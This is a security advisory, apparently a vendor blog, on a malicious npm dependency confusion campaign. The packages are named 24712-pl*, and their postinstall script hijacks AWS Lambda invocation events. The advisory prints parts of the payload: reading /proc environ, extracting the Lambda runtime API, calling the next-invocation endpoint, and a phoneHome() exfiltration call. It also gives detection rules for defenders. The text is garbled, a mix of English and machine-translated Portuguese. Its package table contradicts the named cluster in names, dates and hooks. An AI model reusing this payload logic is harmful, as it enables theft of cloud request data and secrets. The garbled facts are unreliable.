AWS Lambda npm Dependency Confusion Attack: The 24712-pl Campaign

TL, DR

Entre 6º e 7 de maio de 2026, um único editor npm, pelavelle, pushed eight zero-dependency packages using names that followed the same internal-looking pattern: 24712-pl*.

The packages included 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2 e 24712-plv3. The numbered prefix strongly suggests an npm dependency confusion attack against an internal package namespace or package-id scheme.

All eight sibling packages were already unpublished from npm by the publisher between 2026-05-06T21:52Z e 2026-05-07T00:31Z. Direct registry metadata confirmed that the tarballs now return HTTP 404.

No entanto, o agrupamento ainda é importante.

The canonical sample, 24712-pl5006:0.0.1, contém um postinstall.js script that runs during npm install. Instead of stealing generic environment variables, it specifically looks for AWS_LAMBDA_RUNTIME_API, the environment variable used by AWS Lambda runtimes.

If the script finds AWS_LAMBDA_RUNTIME_API, it calls the Lambda Runtime API endpoint:

Lambda Runtime API Path /2018-06-01/runtime/invocation/next

That call attempts to consume the next pending Lambda invocation event before the legitimate Lambda handler can process it.

The captured event, including headers, request ID, account context, and up to 8 KB of request body, is then sent to an attacker-controlled phone-home endpoint through the script’s phoneHome() função.

Xygeni’s Malware Early Warning (MEW) system classified the canonical sample as probably malicious with a score of 91.3/100.

We are tracking this as an npm dependency confusion attack with AWS Lambda runtime hijack behavior.

O Cluster: Oito Pacotes, Uma Editora

A conta do editor pelavelle utilizou o endereço de e-mail:

pelavelle@clovercode.com

The account had an unverified email, no SCM verification, and a low reputation score of 5.

The publisher released eight related packages over a short window between 2026-05-06 20:45Z and 22:36Z. The package names all follow the same shape:

24712-pl*

This pattern is the key signal. It does not look like a public developer utility. Instead, it looks like an internal package naming scheme.

#	Pacote	Versão Maliciosa	Criado, UTC	Não publicado, UTC	Carga útil confirmada	Instalar gancho
1	explorador do cosmos	1.1.3	2026-05-01T18:26Z	2026-05-01T19:01Z	Inferido, mesmo editor/cluster	pré-instalação, presumida
2	sinaisdk-web	1.0.0, 10.0.0	2026-05-04T13:57Z	2026-05-04T18:51Z	Inferido	pré-instalação, presumida
3	ms.analytics-web	99.0.0, 99.9.13	2026-05-04T18:47Z	2026-05-05T10:07Z	Inferido	pré-instalação, presumida
4	ícones.gerados	99.9.13	2026-05-05T10:02Z	2026-05-05T12:57Z	Inferido	pré-instalação, presumida
5	rastreamento de latência	99.9.0	2026-05-05T11:57Z	2026-05-05T12:57Z	Inferido	pré-instalação, presumida
6	rastreamento de latência interno	Versões removidas do registro	2026-05-06T06:02Z	2026-05-06T08:35Z	Inferido	pré-instalação, presumida
7	carboniteapp	99.9.0	2026-05-06T05:49Z	2026-05-06T08:35Z	Sim, fluxo de código completo do scanner	pré-instalação: node index.js
8	carbonita-interna	99.9.0	2026-05-06T06:14Z	2026-05-06T08:36Z	Sim, fluxo de código completo do scanner	pré-instalação: node index.js

Total versions across the cluster: 19 version-package tuples.

The canonical sample, 24712-pl5006:0.0.1, was published on 2026-05-06T22:36:34Z and scanned by Xygeni’s MEW pipeline before the unpublish event.

It contained four files, including package/postinstall.js, with 3,335 bytes of total source.

O canônico commit hash was:

83e0efbfd110abb2398a06196fb698565a3f6cc6

Why the Name Pattern Matters

The package names are the strongest indicator of intent.

They all start with the same prefix:

24712-pl

Then they add numeric or version-like suffixes:

24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3

This does not resemble normal public npm naming. It looks like an internal namespace prefix or internal package-id scheme.

That makes the cluster consistent with an npm dependency confusion attack.

In a dependency confusion attack, the attacker publishes a public package with a name that matches, or appears to match, an internal dependency. If the target’s package manager or build environment resolves the public package instead of the private one, attacker-controlled code runs inside the target environment.

OWASP describes dependency confusion as an attack vector that tricks package managers and proxies into fetching a malicious public package instead of the intended internal package of the same name.

For deeper context on how this class of attack works, see Xygeni’s guide on lack of version pinning and dependency confusion and our post on identifying and managing software dependency attacks.

O que acontece durante a instalação?

The canonical package declares a postinstall gancho:

{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}

O processo de postinstall lifecycle is part of npm’s package script system. npm’s documentation explains that packages can define lifecycle scripts in package.json, including built-in installation lifecycle events.

O processo de || true é importante.

It swallows errors so installation still succeeds even if the hijack fails. That helps the package avoid breaking the build and reduces the chance that developers or CI systems notice the malicious behavior through a failed install.

The payload runs during npm install. No developer import is required. No application path has to call the package.

The install itself is enough.

Payload Behavior: Lambda Runtime Hijack

O processo de postinstall.js script performs a targeted sequence.

First, it reads the parent process environment from Linux /proc:

const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');

Then it extracts the AWS Lambda runtime endpoint:

const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);

If the runtime API is found, the script stores it:

runtimeApi = match[1];

Next, it sends a first beacon through phoneHome():

await phoneHome({ step: 'waiting', runtimeApi, ts: ... });

That first beacon leaks the Lambda runtime API endpoint.

Then the script parses the runtime API host and port:

const [host, portStr] = runtimeApi.split(':');

Finally, it calls the AWS Lambda Runtime API path used to retrieve the next invocation:

http.request({
  host,
  port,
  path: '/2018-06-01/runtime/invocation/next',
  method: 'GET',
  timeout: 90000
}, ...);

That is the core of the attack.

The script attempts to consume the next Lambda invocation event before the legitimate Lambda handler can process it. AWS’s custom runtime guide also describes the “get an event” step as a call to the next invocation API.

What Gets Exfiltrated

If the script captures an invocation, it sends the result to the attacker-controlled phone-home endpoint.

The exfiltrated fields include:

Campo	Significado
`step`	Execution stage, such as `waiting`, `next_error`, ou `captured`
`runtimeApi`	Lambda runtime API endpoint
`accountSid`	Captured AWS account context
`requestId`	Lambda invocation request ID
`isOwnAccount`	Boolean comparison against the script’s configured account value
`statusCode`	Runtime API response status
`headers`	Invocation response headers
`body`	Captured invocation body, sliced to 8,000 characters

The key exfiltration call is the phoneHome(data) function, which JSON-encodes the data and sends it through an HTTP POST.

The exact phone-home destination URL was not preserved in the available truncated evidence. Therefore, npm should preserve the unpublished tarball internally so the C2 host literal can be extracted before deletion is finalized.

Por que isso é perigoso

This is not a generic npm beacon.

The payload is designed around AWS Lambda’s modelo de execução.

If a vulnerable package is installed inside a Lambda execution environment, such as during a deployment image build, a Lambda layer install, or an init wrapper process, the environment may expose AWS_LAMBDA_RUNTIME_API.

Once the script has that value, it can call:

/2018-06-01/runtime/invocation/next

That endpoint returns the next pending invocation event.

As a result, the attacker may be able to capture:

Request bodies
Cabeçalhos
Request IDs
AWS account context
Signed request data
Informações de identificação do cliente
S3 event data
Application-specific payloads
Internal service context

The legitimate handler may never see the consumed event.

That turns an npm install script into a Lambda event interception primitive.

Even if the package never lands in a real Lambda environment, the behavior can still leak useful context from dev or CI systems. Reading /proc/<pid>/environ may expose environment variables present in parent processes, which can include AWS keys, database URLs, CI tokens, or deployment credentials.

This is why dependency scanning cannot stop at known CVEs. Teams also need malicious package detection, install-script analysis, and registry-policy enforcement. For related guidance, read Por que a varredura de dependências é importante para equipes de DevOps e Proteção contra malware: por que o antivírus não consegue impedir ataques à cadeia de suprimentos.

Classificação Xygeni MEW

Xygeni MEW scanned the canonical sample 24712-pl5006:0.0.1 before the unpublish event.

The scanner returned:

91.3 / 100
probablyMalicious
threshold: 80

The evidence included three Critical items and one High item confirming the Lambda runtime-hijack data flow.

Gravidade	evidência	Significado
Críticas	`/proc/<pid>/environ` ler	Reads parent process environment
Críticas	`AWS_LAMBDA_RUNTIME_API` Extração	Targets Lambda runtime endpoint
Críticas	`/runtime/invocation/next` solicitar	Attempts to consume a real Lambda invocation event
Alto	`postinstall` escrita	Runs during npm install

The behavior is highly specific and high impact. The package does not need broad malware features because the Lambda runtime endpoint is already a powerful target.

Xygeni MEW is designed for this kind of case: detecting suspicious and malicious package behavior before it becomes a downstream incident. For a wider view of current npm and PyPI threat patterns, see Um olhar mais atento aos ataques à cadeia de suprimentos de software em 2025.

Por que o padrão de autodespublicação é importante

All eight packages were unpublished by the publisher within a short time window.

That behavior is suspicious in this context.

The cluster appeared, ran if selected by a vulnerable dependency-resolution path, and then disappeared. This is consistent with attacker cleanup after a successful or aborted proof of concept, or after the target organization noticed the issue.

Unpublishing creates a visibility gap for defenders.

Public npm data may no longer include the tarballs. Some package versions cannot be re-downloaded. However, affected environments may still have cached copies, lockfile references, CI logs, or package manager artifacts.

That is why registry-side preservation matters.

npm should preserve the unpublished tarballs internally long enough to extract the exact phone-home URL, confirm sibling payload identity, and support incident response.

Indicadores de comprometimento e detecção

Editora e Conta

Campo	Valor
nome de usuário do npm	`pelavelle`
e-mail do editor npm	`pelavelle@clovercode.com`
Email verificado	Não
SCM verificado	Não
Publisher reputation score	5
Package naming pattern	`^24712-pl[0-9a-z]+$`
Internal namespace prefix	`24712-pl`

Nomes dos pacotes afetados

24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3

Canonical Sample

Campo	Valor
Pacote	`24712-pl5006`
Versão	`0.0.1`
Publicado	2026-05-06T22:36:34Z
Commit hash	`83e0efbfd110abb2398a06196fb698565a3f6cc6`
Xygeni scan UUID	`f80e4244-86d2-4a58-be59-7c56988a0f9f`
Pontuação	`91.3 / 100`
Veredito	`probablyMalicious`

Instalar gancho

{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}

Lambda Runtime Indicators

Exfiltrated Payload Fields

step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body

The body is sliced to 8,000 characters.

Notas de Detecção

Several rules can catch this npm dependency confusion attack and likely variants.

First, flag npm install scripts that read parent process environment from /proc:

/proc/<pid>/environ

That is rarely legitimate behavior for an npm dependency during install.

Second, alert on package install scripts that reference:

AWS_LAMBDA_RUNTIME_API

This environment variable should not be accessed by third-party npm packages during installation.

Third, block or review install scripts that call:

/2018-06-01/runtime/invocation/next

This is the AWS Lambda Runtime API endpoint for receiving the next invocation. A dependency install script has no legitimate reason to consume it.

Fourth, hunt for lockfile references to the affected package names:

package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json

Qualquer correspondência deve acionar uma revisão de dependências e possíveis confusões.

Fifth, alert on the package name regex:

^24712-pl[0-9a-z]+$

especially when the publisher is public, low reputation, unverified, or outside the expected internal registry.

Por fim, adicione CI/CD guardrails around install scripts. This is especially important because npm lifecycle scripts can execute during package installation, before developers import anything. For more on CI/CD detection patterns, see Xygeni’s Os 10 principais indicadores de comprometimento em CI/CD Pipelines e Total Guardrails pela CI/CD Pipelines.

Ações de registro sugeridas

This cluster was already unpublished at report time, but unpublish does not remove the risk.

Ações recomendadas no npm:

Confirme se as remoções de publicação foram uma ação de limpeza iniciada pelo atacante ou uma ação legítima do mantenedor.
Suspender ou banir a conta do editor pelavelle.
Adicione pelavelle@clovercode.com, the package names, and the package-name regex to npm abuse and supply-chain blocklists.
Conservar amostras de alcatrão não publicadas em armazenamento interno para fins forenses.
Extract the exact phoneHome() destination URL from the preserved package tarballs.
Confirm whether all sibling packages share the same payload.
Notify affected organizations if package download or install telemetry indicates exposure.

Lista de verificação para resposta a compromissos

If any affected package appeared in lockfiles, CI logs, package caches, Lambda layers, deployment images, or build artifacts, treat it as a potential dependency-confusion execution event.

Resposta recomendada:

Identify where the package was installed: local workstation, CI runner, Lambda layer build, deployment image, or runtime environment.
Preserve lockfiles, npm cache, build logs, deployment artifacts, and container image layers.
Check whether installation occurred inside an environment where AWS_LAMBDA_RUNTIME_API foi configurado.
Review outbound HTTP logs for unknown phoneHome() destinations during the install window.
Audit Lambda invocation logs for dropped, missing, or anomalous events.
Rotate secrets exposed to the install environment, especially AWS keys, CI tokens, deployment credentials, and database URLs.
Review Lambda layers and deployment images for cached copies of the package.
Enforce private registry pinning for internal package prefixes.
Block public npm resolution for internal-looking package names.
Adicione guardrails pela preinstall, install e postinstall scripts.

How Xygeni Helps Detect This Earlier

This campaign is exactly the type of case where security teams need more than traditional vulnerability scanning.

Pode não haver CVE. There may be no known vulnerable version. There may be no long-lived package to inspect after the publisher cleans up.

Instead, teams need real-time visibility into package behavior.

Xygeni helps by combining:

Early malware detection across public registries.
Suspicious dependency detection for dependency confusion and typosquatting.
Install-script analysis for preinstall, install e postinstall comportamentos.
CI/CD guardrails to block risky packages before they reach build or deployment environments.
Software supply chain visibility across dependencies, pipelines, e artefatos.
Policy enforcement for internal package names and untrusted public packages.

That matters because the impact of an npm dependency confusion attack is not limited to developer laptops. It can reach CI runners, build images, Lambda layers, deployment containers, and runtime-adjacent environments.

For broader AppSec and supply chain context, see Pós SCA: Protegendo sua cadeia de suprimentos de software e Software Supply Chain Security Completa.

O que os defensores devem levar consigo

This campaign shows how dependency confusion can move beyond basic proof-of-execution beacons.

The payload does not simply confirm that npm install ran. It attempts to interact with the AWS Lambda Runtime API and capture a real invocation event.

That is a meaningful escalation.

For teams using serverless, dependency resolution is part of the runtime threat model. A public npm package with an internal-looking name can become a path into Lambda execution context, request data, and cloud account metadata.

The core lesson is clear: internal package prefixes must be protected, scoped, and pinned to trusted registries. Install scripts must be treated as executable attack surface, especially in CI/CD, container builds, Lambda layers, and deployment pipelines.

CISA’s software supply chain guidance emphasizes the need to protect software, apply security checks, and respond to vulnerabilities continuously across the development process. In this case, that means treating package resolution, package scripts, and serverless build environments as first-class security controls.

Reportado ao npm para aplicação de medidas em nível de conta, inclusão em listas de bloqueio e preservação de arquivos tarball não publicados.